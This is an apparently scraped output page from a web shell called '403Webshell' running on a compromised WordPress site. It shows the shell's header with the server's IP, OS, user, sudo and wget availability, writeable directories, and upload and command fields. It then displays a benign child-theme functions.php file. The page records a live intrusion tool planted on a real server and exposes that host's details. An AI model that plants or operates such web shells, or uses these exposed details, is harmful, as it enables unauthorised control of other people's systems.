403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/apt.mitrofanov.ru/wordpress/wp-content/themes/generatepress_child/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/apt.mitrofanov.ru/wordpress/wp-content/themes/generatepress_child/functions.php
<?php
/**
 * GeneratePress child theme functions and definitions.
 *
 * Add your custom PHP in this file.
 * Only edit this file if you have direct access to it on your server (to fix errors if they happen).
 */

/*** STYLES & SCRIPTS ***/

add_action( 'wp_enqueue_scripts', function() {

    wp_dequeue_style( 'global-styles' );

    wp_enqueue_style( 'generate-child', get_stylesheet_directory_uri() . '/style.min.css', array( 'generate-style' ));

    //wp_enqueue_script( 'generate', get_stylesheet_directory_uri() . '/js/main.js', '', '', true );

    //wp_localize_script('generate', 'da_object', [ 'ajax_url' => admin_url('admin-ajax.php') ]);

           $theme_version = wp_get_theme()->get('Version');
   $base_url = get_stylesheet_directory_uri() . '/js/';

   wp_enqueue_script(
      'fslightbox',
      $base_url . 'fslightbox.js',
      null,
      '3.4.1',
      true
   );

   wp_enqueue_script(
      'wpt-lightbox-frontend',
      $base_url . 'wpt-lightbox-frontend.min.js',
      array('fslightbox'),
      $theme_version
   );

   wp_localize_script(
      'wpt-lightbox-frontend',
      'wptLightbox',
      array(
         'oneLightboxPerPage' => false,
         'exitFullScreenOnClose' => true,
      )
   );

});


add_action( 'enqueue_block_editor_assets', function () {
    // Enqueue Google Fonts
    wp_enqueue_style( 'generate-editor', get_stylesheet_directory_uri() . '/editor-style.css', false );
});



require __DIR__ . '/inc/apt-admin.php';
require __DIR__ . '/inc/apt-front.php';
require __DIR__ . '/inc/image.php';


/*****************FOOTER***********************/

add_filter( 'generate_copyright','tu_custom_copyright' );
function tu_custom_copyright() {
    $year = date( 'Y' );
    $website = get_bloginfo( 'name' );
    echo "© " . $year ." " .$website. " • Все права защищены.";
}

// add_action('wp', 'remove_header_menuz');

// function remove_header_menuz() {
//     if (has_nav_menu('primary')) {
//         remove_action('generate_header', 'generate_navigation');
//     }
// }


// add_action('wp', 'remove_header_menu');

// function remove_header_menu() {
//     remove_action('generate_header', 'generate_navigation');
// }

// add_action('generate_header', 'my_custom_code');

// function my_custom_code() {
//     echo '<div class="my-custom-header">Your Custom Code Here</div>';
// }


// function allow_nbsp_in_tinymce( $mceInit ) {
//     $mceInit['entities'] = '173,shy,160,nbsp,38,amp,60,lt,62,gt';   
//     $mceInit['entity_encoding'] = 'named';
//     return $mceInit;
// }
// add_filter( 'tiny_mce_before_init', 'allow_nbsp_in_tinymce' );



// function my_custom_allowed_html($allowed_tags) {
//     // Add <br> tag to the allowed tags
//     $allowed_tags['br'] = array();
//     return $allowed_tags;
// }
// add_filter('wp_kses_allowed_html', 'my_custom_allowed_html');

Youez - 2016 - github.com/yon3zu
LinuXploit